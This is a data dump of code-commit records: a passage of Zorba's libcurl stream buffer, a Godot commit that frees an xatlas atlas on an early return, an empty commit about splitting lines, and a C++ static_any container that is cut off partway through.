init();\n}\n\nstreambuf::streambuf( char const *uri ) {\n  init();\n  open( uri );\n}\n\nstreambuf::streambuf( CURL *curl ) {\n  init();\n  curl_ = curl;\n  curl_init();\n  curlm_init();\n}\n\nstreambuf::~streambuf() {\n  close();\n#ifdef WIN32\n  closesocket( dummy_socket_ );\n#endif \/* WIN32 *\/\n  if ( listener_owner_ )\n    delete listener_;\n}\n\nvoid streambuf::close() {\n  if ( curl_ ) {\n    if ( curlm_ ) {\n      curl_multi_remove_handle( curlm_, curl_ );\n      curl_multi_cleanup( curlm_ );\n      curlm_ = 0;\n    }\n    curl_destroy();\n  }\n}\n\nvoid streambuf::curl_create() {\n  \/\/\n  \/\/ Having cURL initialization wrapped by a class and using a singleton static\n  \/\/ instance guarantees that cURL is initialized exactly once before use and\n  \/\/ and also is cleaned-up at program termination (when destructors for static\n  \/\/ objects are called).\n  \/\/\n  struct curl_initializer {\n    curl_initializer() {\n      ZORBA_CURL_ASSERT( curl_global_init( CURL_GLOBAL_ALL ) );\n    }\n    ~curl_initializer() {\n      curl_global_cleanup();\n    }\n  };\n  static curl_initializer initializer;\n\n  curl_ = curl_easy_init();\n  if ( !curl_ )\n    throw exception( \"curl_easy_init()\", \"\", \"\" );\n  try {\n    curl_init();\n  }\n  catch ( ... ) {\n    curl_destroy();\n    throw;\n  }\n}\n\nvoid streambuf::curl_destroy() {\n  if ( curl_ ) {\n    curl_easy_reset( curl_ );\n    curl_easy_cleanup( curl_ );\n    curl_ = 0;\n  }\n}\n\nvoid streambuf::curl_verbose( bool verbose ) {\n  verbose_ = verbose;\n  if ( curl_ )\n    ZORBA_CURL_ASSERT( curl_easy_setopt( curl_, CURLOPT_VERBOSE, verbose_ ? 1 : 0 ) );\n}\n\nvoid streambuf::curl_init() {\n  curl_easy_reset( curl_ );\n#if ZORBA_LIBCURL_AT_LEAST(7,19,4)\n  ZORBA_CURL_ASSERT( curl_easy_setopt( curl_, CURLOPT_FOLLOWLOCATION, 1 ) );\n#endif\n#if ZORBA_LIBCURL_AT_LEAST(7,15,1)\n  ZORBA_CURL_ASSERT( curl_easy_setopt( curl_, CURLOPT_MAXREDIRS, 50L ) );\n#endif\n#if ZORBA_LIBCURL_AT_LEAST(7,25,0)\n  ZORBA_CURL_ASSERT( curl_easy_setopt( curl_, CURLOPT_TCP_KEEPALIVE, 1L ) );\n#endif\n  ZORBA_CURL_ASSERT( curl_easy_setopt( curl_, CURLOPT_WRITEDATA, this ) );\n  ZORBA_CURL_ASSERT( curl_easy_setopt( curl_, CURLOPT_WRITEFUNCTION, curl_write_callback ) );\n\n  if ( verbose_ )\n    ZORBA_CURL_ASSERT( curl_easy_setopt( curl_, CURLOPT_VERBOSE, 1 ) );\n}\n\nvoid streambuf::curl_io( size_t *len_ptr ) {\n  *len_ptr = 0;\n  while ( curl_running_ && !*len_ptr ) {\n    fd_set fd_read, fd_write, fd_except;\n    FD_ZERO( &fd_read );\n    FD_ZERO( &fd_write );\n    FD_ZERO( &fd_except );\n    int max_fd = -1;\n#ifdef WIN32\n    \/\/\n    \/\/ Windows does not like a call to select where all arguments are 0, so we\n    \/\/ just add a dummy socket to make the call to select happy.\n    \/\/\n    FD_SET( dummy_socket_, &fd_read );\n#endif \/* WIN32 *\/\n    ZORBA_CURLM_ASSERT(\n      curl_multi_fdset( curlm_, &fd_read, &fd_write, &fd_except, &max_fd )\n    );\n\n    \/\/\n    \/\/ Note that the fopen.c sample code is unnecessary at best or wrong at\n    \/\/ worst; see: http:\/\/curl.haxx.se\/mail\/lib-2011-05\/0011.html\n    \/\/\n    timeval timeout;\n    long curl_timeout_ms;\n    ZORBA_CURLM_ASSERT( curl_multi_timeout( curlm_, &curl_timeout_ms ) );\n    if ( curl_timeout_ms > 0 ) {\n      timeout.tv_sec  = curl_timeout_ms \/ 1000;\n      timeout.tv_usec = curl_timeout_ms % 1000 * 1000;\n    } else {\n      \/\/\n      \/\/ From curl_multi_timeout(3):\n      \/\/\n      \/\/    Note: if libcurl returns a -1 timeout here, it just means that\n      \/\/    libcurl currently has no stored timeout value. You must not wait\n      \/\/    too long (more than a few seconds perhaps) before you call\n      \/\/    curl_multi_perform() again.\n      \/\/\n      \/\/ So we just pick some not-too-long default.\n      \/\/\n      timeout.tv_sec  = 1;\n      timeout.tv_usec = 0;\n    }\n\n    switch ( select( max_fd + 1, &fd_read, &fd_write, &fd_except, &timeout ) ) {\n      case -1:                          \/\/ select error\n#ifdef WIN32\n        char err_buf[8];\n        sprintf( err_buf, \"%d\", WSAGetLastError() );\n        throw exception( \"select()\", \"\", err_buf );\n#else\n        throw exception( \"select()\", \"\", strerror( errno ) );\n#endif \/* WIN32 *\/\n      case 0:                           \/\/ timeout\n        \/\/ no break;\n      default:\n        CURLMcode code;\n        do {\n          code = curl_multi_perform( curlm_, &curl_running_ );\n        } while ( code == CURLM_CALL_MULTI_PERFORM );\n        ZORBA_CURLM_ASSERT( code );\n    } \/\/ switch\n  } \/\/ while\n}\n\nCURLcode streambuf::curl_multi_info_read( bool throw_on_error ) {\n  underflow();\n  CURLMsg *msg;\n  int msgs_in_q;\n  CURLcode code = CURLE_OK;\n  while ( (msg = ::curl_multi_info_read( curlm_, &msgs_in_q )) )\n    if ( msg->msg == CURLMSG_DONE )\n      code = msg->data.result;\n  if ( code && throw_on_error )\n    throw exception( \"curl_multi_info_read()\", \"\", code );\n  return code;\n}\n\nsize_t streambuf::curl_write_callback( void *ptr, size_t size, size_t nmemb,\n                                       void *data ) {\n  size *= nmemb;\n  streambuf *const that = static_cast<streambuf*>( data );\n\n  if ( that->listener_ )\n    that->listener_->curl_read( ptr, size );\n\n  size_t const gbuf_free = that->gbuf_.capacity_ - that->gbuf_.len_;\n  if ( size > gbuf_free ) {\n    size_t new_capacity = that->gbuf_.capacity_ + size - gbuf_free;\n    if ( void *const new_buf = realloc( that->gbuf_.ptr_, new_capacity ) ) {\n      that->gbuf_.ptr_ = static_cast<char*>( new_buf );\n      that->gbuf_.capacity_ = new_capacity;\n    } else\n      throw exception( \"realloc()\", \"\" );\n  }\n  ::memcpy( that->gbuf_.ptr_ + that->gbuf_.len_, ptr, size );\n  that->gbuf_.len_ += size;\n  return size;\n}\n\nvoid streambuf::init() {\n  curl_ = 0;\n  curlm_ = 0;\n  curl_running_ = 0;\n#ifdef WIN32\n  dummy_socket_ = socket( AF_INET, SOCK_DGRAM, 0 );\n  if ( dummy_socket_ == CURL_SOCKET_BAD || dummy_socket_ == INVALID_SOCKET )\n    throw exception( \"socket()\", \"\" );\n#endif \/* WIN32 *\/\n  listener_ = 0;\n  listener_owner_ = false;\n  verbose_ = false;\n}\n\nvoid streambuf::curlm_init() {\n  \/\/\n  \/\/ Lie about cURL running initially so the while-loop in curl_io() will run\n  \/\/ at least once.\n  \/\/\n  curl_running_ = 1;\n\n  \/\/\n  \/\/ Set the \"get\" pointer to the end (gptr() == egptr()) so a call to\n  \/\/ underflow() and initial data read will be triggered.\n  \/\/\n  gbuf_.len_ = gbuf_.capacity_;\n  setg( gbuf_.ptr_, gbuf_.ptr_ + gbuf_.len_, gbuf_.ptr_ + gbuf_.len_ );\n\n  \/\/\n  \/\/ Clean-up has to be done here with try\/catch (as opposed to relying on the\n  \/\/ destructor) because open() can be called from the constructor.  If an\n  \/\/ exception is thrown, the constructor will not have completed, hence the\n  \/\/ object will not have been fully constructed; therefore the destructor will\n  \/\/ not be called.\n  \/\/\n  try {\n    if ( !(curlm_ = curl_multi_init()) )\n      throw exception( \"curl_multi_init()\", \"\" );\n    try {\n      ZORBA_CURLM_ASSERT( curl_multi_add_handle( curlm_, curl_ ) );\n    }\n    catch ( ... ) {\n      curl_multi_cleanup( curlm_ );\n      curlm_ = 0;\n      throw;\n    }\n  }\n  catch ( ... ) {\n    curl_destroy();\n    throw;\n  }\n}\n\nvoid streambuf::open( char const *uri ) {\n  if ( !curl_ ) {\n    curl_create();\n    curlm_init();\n  }\n  ZORBA_CURL_ASSERT( curl_easy_setopt( curl_, CURLOPT_URL, uri ) );\n}\n\nvoid streambuf::set_listener( listener *l, bool take_ownership ) {\n  if ( listener_owner_ )\n    delete listener_;\n  listener_ = l;\n  listener_owner_ = take_ownership;\n}\n\nstreamsize streambuf::showmanyc() {\n  return egptr() - gptr();\n}\n\nstreambuf::int_type streambuf::underflow() {\n  while ( true ) {\n    if ( gptr() < egptr() )\n      return traits_type::to_int_type( *gptr() );\n    curl_io( &gbuf_.len_ );\n    if ( !gbuf_.len_ )\n      return traits_type::eof();\n    setg( gbuf_.ptr_, gbuf_.ptr_, gbuf_.ptr_ + gbuf_.len_ );\n  }\n}\n\nstreamsize streambuf::xsgetn( char_type *to, streamsize size ) {\n  streamsize return_size = 0;\n\n  if ( streamsize const gsize = egptr() - gptr() ) {\n    streamsize const n = min( gsize, size );\n    traits_type::copy( to, gptr(), static_cast<size_t>( n ) );\n    gbump( static_cast<int>( n ) );\n    to += n;\n    size -= n, return_size += n;\n  }\n\n  while ( size > 0 ) {\n    streamsize const get = min( (streamsize)gbuf_.capacity_, size );\n    curl_io( &gbuf_.len_ );\n    if ( !gbuf_.len_ )\n      break;\n    setg( gbuf_.ptr_, gbuf_.ptr_, gbuf_.ptr_ + gbuf_.len_ );\n    streamsize const n = min( (streamsize)gbuf_.len_, size );\n    traits_type::copy( to, gptr(), n );\n    gbump( static_cast<int>( n ) );\n    to += n;\n    size -= n, return_size += n;\n  }\n  return return_size;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n} \/\/ namespace curl\n} \/\/ namespace zorba\n\/* vim:set et sw=2 ts=2: *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\/\n\/*  register_types.cpp                                                   *\/\n\/*************************************************************************\/\n\/*                       This file is part of:                           *\/\n\/*                           GODOT ENGINE                                *\/\n\/*                      https:\/\/godotengine.org                          *\/\n\/*************************************************************************\/\n\/* Copyright (c) 2007-2021 Juan Linietsky, Ariel Manzur.                 *\/\n\/* Copyright (c) 2014-2021 Godot Engine contributors (cf. AUTHORS.md).   *\/\n\/*                                                                       *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the       *\/\n\/* \"Software\"), to deal in the Software without restriction, including   *\/\n\/* without limitation the rights to use, copy, modify, merge, publish,   *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to    *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions:                                             *\/\n\/*                                                                       *\/\n\/* The above copyright notice and this permission notice shall be        *\/\n\/* included in all copies or substantial portions of the Software.       *\/\n\/*                                                                       *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,       *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF    *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY  *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,  *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE     *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.                *\/\n\/*************************************************************************\/\n\n#include \"register_types.h\"\n\n#include \"core\/error_macros.h\"\n\n#include \"thirdparty\/xatlas\/xatlas.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n\nextern bool (*array_mesh_lightmap_unwrap_callback)(float p_texel_size, const float *p_vertices, const float *p_normals, int p_vertex_count, const int *p_indices, const int *p_face_materials, int p_index_count, float **r_uv, int **r_vertex, int *r_vertex_count, int **r_index, int *r_index_count, int *r_size_hint_x, int *r_size_hint_y);\n\nbool xatlas_mesh_lightmap_unwrap_callback(float p_texel_size, const float *p_vertices, const float *p_normals, int p_vertex_count, const int *p_indices, const int *p_face_materials, int p_index_count, float **r_uv, int **r_vertex, int *r_vertex_count, int **r_index, int *r_index_count, int *r_size_hint_x, int *r_size_hint_y) {\n\n\t\/\/ set up input mesh\n\txatlas::MeshDecl input_mesh;\n\tinput_mesh.indexData = p_indices;\n\tinput_mesh.indexCount = p_index_count;\n\tinput_mesh.indexFormat = xatlas::IndexFormat::UInt32;\n\n\tinput_mesh.vertexCount = p_vertex_count;\n\tinput_mesh.vertexPositionData = p_vertices;\n\tinput_mesh.vertexPositionStride = sizeof(float) * 3;\n\tinput_mesh.vertexNormalData = p_normals;\n\tinput_mesh.vertexNormalStride = sizeof(uint32_t) * 3;\n\tinput_mesh.vertexUvData = NULL;\n\tinput_mesh.vertexUvStride = 0;\n\n\txatlas::ChartOptions chart_options;\n\tchart_options.fixWinding = true;\n\n\txatlas::PackOptions pack_options;\n\tpack_options.padding = 1;\n\tpack_options.maxChartSize = 4094; \/\/ Lightmap atlassing needs 2 for padding between meshes, so 4096-2\n\tpack_options.blockAlign = true;\n\tpack_options.texelsPerUnit = 1.0 \/ p_texel_size;\n\n\txatlas::Atlas *atlas = xatlas::Create();\n\n\txatlas::AddMeshError err = xatlas::AddMesh(atlas, input_mesh, 1);\n\tERR_FAIL_COND_V_MSG(err != xatlas::AddMeshError::Success, false, xatlas::StringForEnum(err));\n\n\txatlas::Generate(atlas, chart_options, pack_options);\n\n\t*r_size_hint_x = atlas->width;\n\t*r_size_hint_y = atlas->height;\n\n\tfloat w = *r_size_hint_x;\n\tfloat h = *r_size_hint_y;\n\n\tif (w == 0 || h == 0) {\n\t\treturn false; \/\/could not bake because there is no area\n\t}\n\n\tconst xatlas::Mesh &output = atlas->meshes[0];\n\n\t*r_vertex = (int *)malloc(sizeof(int) * output.vertexCount);\n\t*r_uv = (float *)malloc(sizeof(float) * output.vertexCount * 2);\n\t*r_index = (int *)malloc(sizeof(int) * output.indexCount);\n\n\tfloat max_x = 0;\n\tfloat max_y = 0;\n\tfor (uint32_t i = 0; i < output.vertexCount; i++) {\n\t\t(*r_vertex)[i] = output.vertexArray[i].xref;\n\t\t(*r_uv)[i * 2 + 0] = output.vertexArray[i].uv[0] \/ w;\n\t\t(*r_uv)[i * 2 + 1] = output.vertexArray[i].uv[1] \/ h;\n\t\tmax_x = MAX(max_x, output.vertexArray[i].uv[0]);\n\t\tmax_y = MAX(max_y, output.vertexArray[i].uv[1]);\n\t}\n\n\t*r_vertex_count = output.vertexCount;\n\n\tfor (uint32_t i = 0; i < output.indexCount; i++) {\n\t\t(*r_index)[i] = output.indexArray[i];\n\t}\n\n\t*r_index_count = output.indexCount;\n\n\txatlas::Destroy(atlas);\n\n\treturn true;\n}\n\nvoid register_xatlas_unwrap_types() {\n\n\tarray_mesh_lightmap_unwrap_callback = xatlas_mesh_lightmap_unwrap_callback;\n}\n\nvoid unregister_xatlas_unwrap_types() {\n}\n<commit_msg>Fix memory leak in Xatlas module<commit_after>\/*************************************************************************\/\n\/*  register_types.cpp                                                   *\/\n\/*************************************************************************\/\n\/*                       This file is part of:                           *\/\n\/*                           GODOT ENGINE                                *\/\n\/*                      https:\/\/godotengine.org                          *\/\n\/*************************************************************************\/\n\/* Copyright (c) 2007-2021 Juan Linietsky, Ariel Manzur.                 *\/\n\/* Copyright (c) 2014-2021 Godot Engine contributors (cf. AUTHORS.md).   *\/\n\/*                                                                       *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the       *\/\n\/* \"Software\"), to deal in the Software without restriction, including   *\/\n\/* without limitation the rights to use, copy, modify, merge, publish,   *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to    *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions:                                             *\/\n\/*                                                                       *\/\n\/* The above copyright notice and this permission notice shall be        *\/\n\/* included in all copies or substantial portions of the Software.       *\/\n\/*                                                                       *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,       *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF    *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY  *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,  *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE     *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.                *\/\n\/*************************************************************************\/\n\n#include \"register_types.h\"\n\n#include \"core\/error_macros.h\"\n\n#include \"thirdparty\/xatlas\/xatlas.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n\nextern bool (*array_mesh_lightmap_unwrap_callback)(float p_texel_size, const float *p_vertices, const float *p_normals, int p_vertex_count, const int *p_indices, const int *p_face_materials, int p_index_count, float **r_uv, int **r_vertex, int *r_vertex_count, int **r_index, int *r_index_count, int *r_size_hint_x, int *r_size_hint_y);\n\nbool xatlas_mesh_lightmap_unwrap_callback(float p_texel_size, const float *p_vertices, const float *p_normals, int p_vertex_count, const int *p_indices, const int *p_face_materials, int p_index_count, float **r_uv, int **r_vertex, int *r_vertex_count, int **r_index, int *r_index_count, int *r_size_hint_x, int *r_size_hint_y) {\n\n\t\/\/ set up input mesh\n\txatlas::MeshDecl input_mesh;\n\tinput_mesh.indexData = p_indices;\n\tinput_mesh.indexCount = p_index_count;\n\tinput_mesh.indexFormat = xatlas::IndexFormat::UInt32;\n\n\tinput_mesh.vertexCount = p_vertex_count;\n\tinput_mesh.vertexPositionData = p_vertices;\n\tinput_mesh.vertexPositionStride = sizeof(float) * 3;\n\tinput_mesh.vertexNormalData = p_normals;\n\tinput_mesh.vertexNormalStride = sizeof(uint32_t) * 3;\n\tinput_mesh.vertexUvData = NULL;\n\tinput_mesh.vertexUvStride = 0;\n\n\txatlas::ChartOptions chart_options;\n\tchart_options.fixWinding = true;\n\n\txatlas::PackOptions pack_options;\n\tpack_options.padding = 1;\n\tpack_options.maxChartSize = 4094; \/\/ Lightmap atlassing needs 2 for padding between meshes, so 4096-2\n\tpack_options.blockAlign = true;\n\tpack_options.texelsPerUnit = 1.0 \/ p_texel_size;\n\n\txatlas::Atlas *atlas = xatlas::Create();\n\n\txatlas::AddMeshError err = xatlas::AddMesh(atlas, input_mesh, 1);\n\tERR_FAIL_COND_V_MSG(err != xatlas::AddMeshError::Success, false, xatlas::StringForEnum(err));\n\n\txatlas::Generate(atlas, chart_options, pack_options);\n\n\t*r_size_hint_x = atlas->width;\n\t*r_size_hint_y = atlas->height;\n\n\tfloat w = *r_size_hint_x;\n\tfloat h = *r_size_hint_y;\n\n\tif (w == 0 || h == 0) {\n\t\txatlas::Destroy(atlas);\n\t\treturn false; \/\/could not bake because there is no area\n\t}\n\n\tconst xatlas::Mesh &output = atlas->meshes[0];\n\n\t*r_vertex = (int *)malloc(sizeof(int) * output.vertexCount);\n\t*r_uv = (float *)malloc(sizeof(float) * output.vertexCount * 2);\n\t*r_index = (int *)malloc(sizeof(int) * output.indexCount);\n\n\tfloat max_x = 0;\n\tfloat max_y = 0;\n\tfor (uint32_t i = 0; i < output.vertexCount; i++) {\n\t\t(*r_vertex)[i] = output.vertexArray[i].xref;\n\t\t(*r_uv)[i * 2 + 0] = output.vertexArray[i].uv[0] \/ w;\n\t\t(*r_uv)[i * 2 + 1] = output.vertexArray[i].uv[1] \/ h;\n\t\tmax_x = MAX(max_x, output.vertexArray[i].uv[0]);\n\t\tmax_y = MAX(max_y, output.vertexArray[i].uv[1]);\n\t}\n\n\t*r_vertex_count = output.vertexCount;\n\n\tfor (uint32_t i = 0; i < output.indexCount; i++) {\n\t\t(*r_index)[i] = output.indexArray[i];\n\t}\n\n\t*r_index_count = output.indexCount;\n\n\txatlas::Destroy(atlas);\n\n\treturn true;\n}\n\nvoid register_xatlas_unwrap_types() {\n\n\tarray_mesh_lightmap_unwrap_callback = xatlas_mesh_lightmap_unwrap_callback;\n}\n\nvoid unregister_xatlas_unwrap_types() {\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Adds ability to split lines (Enter key works as expected when not at the end of a line)<commit_after><|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <array>\n#include <memory>\n#include <cstring>\n#include <type_traits>\n#include <typeinfo>\n#include <cassert>\n#include <sstream>\n#include <string>\n\nnamespace detail { namespace static_any {\n\n\/\/ Pointer to administrative function, function that will by type-specific, and will be able to perform all the required operations\nenum class operation_t { query_type, copy, move, destroy };\nusing function_ptr_t = const std::type_info&(*)(operation_t operation, void* this_ptr, void* other_ptr);\n\ntemplate<typename _T>\nstatic const std::type_info& operation(operation_t operation, void* this_void_ptr, void* other_void_ptr)\n{\n    _T* this_ptr = reinterpret_cast<_T*>(this_void_ptr);\n    _T* other_ptr = reinterpret_cast<_T*>(other_void_ptr);\n\n    assert(this_ptr);\n\n    switch(operation)\n    {\n        case operation_t::query_type:\n            break;\n\n        case operation_t::copy:\n            assert(other_ptr);\n            new(this_ptr)_T(*other_ptr);\n            break;\n\n        case operation_t::move:\n            assert(other_ptr);\n            new(this_ptr)_T(std::move(*other_ptr));\n            break;\n\n        case operation_t::destroy:\n            this_ptr->~_T();\n            break;\n    }\n\n    return typeid(_T);\n}\n\ntemplate<typename _T>\nstatic function_ptr_t get_function_for_type()\n{\n    return &static_any::operation<std::remove_cv_t<std::remove_reference_t<_T>>>;\n}\n\n}}\n\ntemplate <std::size_t _N>\nstruct static_any\n{\n    typedef std::size_t size_type;\n\n    static_any() = default;\n\n    ~static_any()\n    {\n        destroy();\n    }\n\n    template<typename _T>\n    static_any(_T&& v)\n    {\n        copy_or_move(std::forward<_T>(v));\n    }\n\n    static_any(const static_any& another)\n    {\n        copy_from_another(another);\n    }\n\n    static_any(static_any& another)\n    {\n        copy_from_another(another);\n    }\n\n    static_any(static_any&& another)\n    {\n        copy_from_another(another);\n    }\n\n    template<std::size_t _M>\n    static_any(const static_any<_M>& another)\n    {\n        copy_from_another(another);\n    }\n\n    template<std::size_t _M>\n    static_any(static_any<_M>& another)\n    {\n        copy_from_another(another);\n    }\n\n    template<std::size_t _M>\n    static_any(static_any<_M>&& another)\n    {\n        copy_from_another(another);\n    }\n\n    static_any& operator=(const static_any& another)\n    {\n        destroy();\n        copy_from_another(another);\n        return *this;\n    }\n\n    static_any& operator=(static_any& another)\n    {\n        destroy();\n        copy_from_another(another);\n        return *this;\n    }\n\n    static_any& operator=(static_any&& another)\n    {\n        destroy();\n        copy_from_another(another);\n        return *this;\n    }\n\n    template<std::size_t _M>\n    static_any& operator=(const static_any<_M>& another)\n    {\n        destroy();\n        copy_from_another(another);\n        return *this;\n    }\n\n    template<std::size_t _M>\n    static_any& operator=(static_any<_M>& another)\n    {\n        destroy();\n        copy_from_another(another);\n        return *this;\n    }\n\n    template<std::size_t _M>\n    static_any& operator=(static_any<_M>&& another)\n    {\n        destroy();\n        copy_from_another(another);\n        return *this;\n    }\n\n    template <typename _T>\n    static_any& operator=(const _T& t)\n    {\n        destroy();\n        copy_or_move(std::forward<_T>(t));\n        return *this;\n    }\n\n    template <typename _T>\n    static_any& operator=(_T&& t)\n    {\n        destroy();\n        copy_or_move(std::forward<_T>(t));\n        return *this;\n    }\n\n    inline void reset() { destroy(); }\n\n    template<typename _T>\n    inline const _T& get() const;\n\n    template<typename _T>\n    inline _T& get();\n\n    template <typename _T>\n    bool has() const\n    {\n        return function_ == detail::static_any::get_function_for_type<_T>();\n    }\n\n    const std::type_info& type() const\n    {\n        return function_(operation_t::query_type, const_cast<static_any*>(this), nullptr);\n    }\n\n    bool empty() const { return function_ == nullptr; }\n\n    static constexpr size_type size() { return _N; }\n\n    \/\/ Initializes with object of type T, created in-place with specified constructor params\n    template<typename _T, typename... Args>\n    void emplace(Args&&... args)\n    {\n        destroy();\n        new(buff_.data()) _T(std::forward<Args>(args)...);\n        function_ = detail::static_any::get_function_for_type<_T>();\n    }\n\nprivate:\n    using operation_t = detail::static_any::operation_t;\n    using function_ptr_t = detail::static_any::function_ptr_t;\n\n    template <typename _T>\n    void copy_or_move(_T&& t)\n    {\n        static_assert(size() >= sizeof(_T), \"_T is too big to be copied to static_any\");\n        assert(function_ == nullptr);\n\n        function_ = detail::static_any::get_function_for_type<_T>();\n\n        using NonConstT = std::remove_cv_t<std::remove_reference_t<_T>>;\n        NonConstT* non_const_t = const_cast<NonConstT*>(&t);\n\n        call_function<_T&&>(buff_.data(), non_const_t);\n    }\n\n    template <typename Ref>\n    std::enable_if_t<std::is_rvalue_reference<Ref>::value>\n    call_function(void* this_void_ptr, void* other_void_ptr)\n    {\n        function_(operation_t::move, this_void_ptr, other_void_ptr);\n    }\n\n    template <typename Ref>\n    std::enable_if_t<!std::is_rvalue_reference<Ref>::value>\n    call_function(void* this_void_ptr, void* other_void_ptr)\n    {\n        function_(operation_t::copy, this_void_ptr, other_void_ptr);\n    }\n\n    void destroy()\n    {\n        if (function_)\n        {\n            function_(operation_t::destroy, buff_.data(), nullptr);\n            function_ = nullptr;\n        }\n    }\n\n    template<typename _T>\n    const _T* as() const\n    {\n        return reinterpret_cast<const _T*>(buff_.data());\n    }\n\n    template<typename _T>\n    _T* as()\n    {\n        return reinterpret_cast<_T*>(buff_.data());\n    }\n\n    template<std::size_t _M>\n    void copy_from_another(const static_any<_M>& another)\n    {\n        if (another.function_)\n        {\n            function_= another.function_;\n            char* other_data = const_cast<char*>(another.buff_.data());\n            function_(operation_t::copy, buff_.data(), other_data);\n        }\n    }\n\n    std::array<char, _N> buff_;\n    function_ptr_t function_ = nullptr;\n\n    template<std::size_t _S>\n    friend struct static_any;\n\n    template<typename _ValueT, std::size_t _S>\n    friend _ValueT* any_cast(static_any<_S>*);\n\n    template<typename _ValueT, std::size_t _S>\n    friend _ValueT& any_cast(static_any<_S>&);\n};\n\nstruct bad_any_cast : public std::bad_cast\n{\n    bad_any_cast(const std::type_info& from,\n                 const std::type_info& to)\n    : from_(from),\n      to_(to)\n    {\n        std::ostringstream oss;\n        oss << \"failed conversion using any_cast: stored type \"\n            << from.name()\n            << \", trying to cast to \"\n            << to.name();\n        reason_ = oss.str();\n    }\n\n    const std::type_info& stored_type() const { return from_; }\n    const std::type_info& target_type() const { return to_; }\n\n    virtual const char* what() const throw()\n    {\n        return reason_.c_str();\n    }\n\nprivate:\n    const std::type_info& from_;\n    const std::type_info& to_;\n    std::string reason_;\n};\n\ntemplate <typename _ValueT,\n          std::size_t _S>\ninline _ValueT* any_cast(static_any<_S>* a)\n{\n    if (!a->template has<_ValueT>())\n        return nullptr;\n\n    return a->template as<_ValueT>();\n}\n\ntemplate <typename _ValueT,\n          std::size_t _S>\ninline const _ValueT* any_cast(const static_any<_S>* a)\n{\n    return any_cast<const _ValueT>(const_cast<static_any<_S>*>(a));\n}\n\ntemplate <typename _ValueT,\n          std::size_t _S>\ninline _ValueT& any_cast(static_any<_S>& a)\n{\n    if (!a.template has<_ValueT>())\n        throw bad_any_cast(a.type(), typeid(_ValueT));\n\n    return *a.template as<_ValueT>();\n}\n\ntemplate <typename _ValueT,\n          std::size_t _S>\ninline const _ValueT& any_cast(const static_any<_S>& a)\n{\n    return any_cast<const _ValueT>(const_cast<static_any<_S>&>(a));\n}\n\ntemplate <std::size_t _S>\ntemplate <typename _T>\nconst _T& static_any<_S>::get() const\n{\n    return any_cast<_T>(*this);\n}\n\ntemplate <std::size_t _S>\ntemplate <typename _T>\n_T& static_any<_S>::get()\n{\n    return any_cast<_T>(*this);\n}\n\ntemplate <std::size_t _N>\nstruct static_any_t\n{\n    typedef std::size_t size_type;\n\n    static constexpr size_type size() { return _N; }\n\n    static_any_t() = default;\n    static_any_t(const static_any_t&) = default;\n\n    template <typename _ValueT>\n    static_any_t(_ValueT&& t)\n    {\n        copy(std::forward<_ValueT>(t));\n    }\n\n    template <typename _ValueT>\n    static_any_t& operator=(_ValueT&& t)\n    {\n        copy(std::forward<_ValueT>(t));\n        return *this;\n    }\n\n    template <typename _ValueT>\n    _ValueT& get() { return *reinterpret_cast<_ValueT*>(buff_.data()); }\n\n    template <typename _ValueT>\n    const _ValueT& get() const { return *reinterpret_cast<const _ValueT*>(buff_.data()); }\n\nprivate:\n    template <typename _ValueT>\n    void copy(_ValueT&& t)\n    {\n        static_assert(std::is_trivially_copyable<_ValueT>::value, \"_ValueT is not trivially copyable\");\n        static_assert(size() >= sizeof(_ValueT), \"_ValueT is too big to be copied to static_any\");\n\n        std::memcpy(buff_.data(), (char*)&t, sizeof(_ValueT));\n    }\n\n    std::array<char, _N> buff_;\n};\n<commit_msg>static_any::has works across dll boundaries<commit_after>#pragma once\n\n#include <array>\n#include <memory>\n#include <cstring>\n#include <type_traits>\n#include <typeinfo>\n#include <typeindex>\n#include <cassert>\n#include <sstream>\n#include <string>\n\nnamespace detail { namespace static_any {\n\n\/\/ Pointer to administrative function, function that will by type-specific, and will be able to perform all the required operations\nenum class operation_t { query_type, copy, move, destroy };\nusing function_ptr_t = const std::type_info&(*)(operation_t operation, void* this_ptr, void* other_ptr);\n\ntemplate<typename _T>\nstatic const std::type_info& operation(operation_t operation, void* this_void_ptr, void* other_void_ptr)\n{\n    _T* this_ptr = reinterpret_cast<_T*>(this_void_ptr);\n    _T* 